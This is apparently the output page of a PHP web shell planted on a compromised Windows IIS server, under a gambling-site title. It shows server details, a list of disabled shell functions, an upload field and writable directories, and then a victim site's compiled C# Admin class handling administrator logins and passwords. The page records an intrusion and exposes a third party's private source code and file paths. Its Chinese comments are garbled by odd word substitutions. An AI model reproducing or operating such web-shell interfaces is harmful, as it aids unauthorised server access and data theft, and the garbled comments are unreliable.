918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/cae6aa2e/15328683/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/cae6aa2e/15328683/App_Code.vywp5zcy.8.cs
?#pragma checksum "D:\wwwroot\anlian2025\wwwroot\App_Code\Admin.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "4A65578A6978ED94D4B08F8DDB7C67B485ABC1D9"

#line 1 "D:\wwwroot\anlian2025\wwwroot\App_Code\Admin.cs"
using System;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;

namespace WebApp.Components
{
    /// <summary>
    /// Admin 的提要注明。
    /// </summary>
    public class Admin
    {
        /// <summary>
        /// 获取所有治理员列表
        /// </summary>
        /// <returns></returns>
        public SqlDataReader GetAdmin()
        {
            Database db = new Database();
            SqlDataReader dr = null;
            db.RunProc("Pr_GetAdmin", out dr);

            return (dr);
        }
        /// <summary>
        /// 获取单个帐号
        /// </summary>
        /// <param name="intID"></param>
        /// <returns></returns>
        public SqlDataReader GetSingleAdmin(int intID)
        {
            Database db = new Database();
            SqlDataReader dr = null;
            SqlParameter[] param = { db.CreateInParam("@ID", SqlDbType.Int, 4, intID) };
            db.RunProc("Pr_GetSingleAdmin", param, out dr);

            return (dr);
        }
        /// <summary>
        /// 删除单个帐号
        /// </summary>
        /// <param name="intID"></param>
        public int DeleteSingleAdmin(int intID)
        {
            Database db = new Database();
            SqlParameter[] param = { db.CreateInParam("@ID", SqlDbType.Int, 4, intID) };
            return (db.RunProc("Pr_DeleteSingleAdmin", param));
        }
        /// <summary>
        /// 批改单个帐号
        /// </summary>
        /// <param name="intID"></param>
        /// <param name="strAdminName"></param>
        /// <param name="strAdminPassword"></param>
        /// <returns></returns>
        public int UpdateSingleAdmin(int intID, string strAdminPassword)
        {
            Database db = new Database();
            SqlParameter[] param = {
                db.CreateInParam("@ID", SqlDbType.Int, 4, intID),
                db.CreateInParam("@AdminPassword", SqlDbType.NVarChar, 50, strAdminPassword)
            };
            return (db.RunProc("Pr_UpdateSingleAdmin", param));
        }
        /// <summary>
        /// 增长新的非治理员角色帐号
        /// </summary>
        /// <param name="strQQ"></param>
        /// <param name="strName"></param>
        /// <returns></returns>
        public int AddSingleAdmin(string strAdminName, string strAdminPassword)
        {
            Database db = new Database();
            SqlParameter[] param = { db.CreateInParam("@AdminName", SqlDbType.NVarChar, 50, strAdminName), db.CreateInParam("@AdminPassword", SqlDbType.NVarChar, 50, strAdminPassword) };

            ///返回增长新QQ的ID
            return (db.RunProc("Pr_AddSingleAdmin", param));
        }
        /// <summary>
        /// 判断帐号和密码是否正确
        /// </summary>
        /// <param name="strUserName"></param>
        /// <param name="strPassword"></param>
        /// <returns></returns>
        public SqlDataReader GetAdminLogin(String strUserName, String strPassword)
        {
            Database db = new Database();
            SqlDataReader dr = null;
            SqlParameter[] param = { 
                                       db.CreateInParam("@AdminName", SqlDbType.NVarChar, 50, strUserName), 
                                       db.CreateInParam("@AdminPassword", SqlDbType.NVarChar, 50, strPassword) 
                                   };
            db.RunProc("Pr_GetAdminLogin", param, out dr);
            return dr;
        }
        /// <summary>
        /// 批改密码
        /// </summary>
        /// <param name="strUserName"></param>
        /// <param name="strOldPassword"></param>
        /// <param name="strNewPassword"></param>
        public int UpdateAdminPassword(String strUserName, String strOldPassword, String strNewPassword)
        {
            Database db = new Database();
            SqlParameter[] param ={
                db.CreateInParam("@AdminName",SqlDbType.NVarChar,50,strUserName),
                db.CreateInParam("@OldPwd",SqlDbType.NVarChar,50,strOldPassword),
                db.CreateInParam("@NewPwd",SqlDbType.NVarChar,50,strNewPassword),
            };
            return (db.RunProc("Pr_UpdateAdminPassword", param));
        }
    }
}



#line default
#line hidden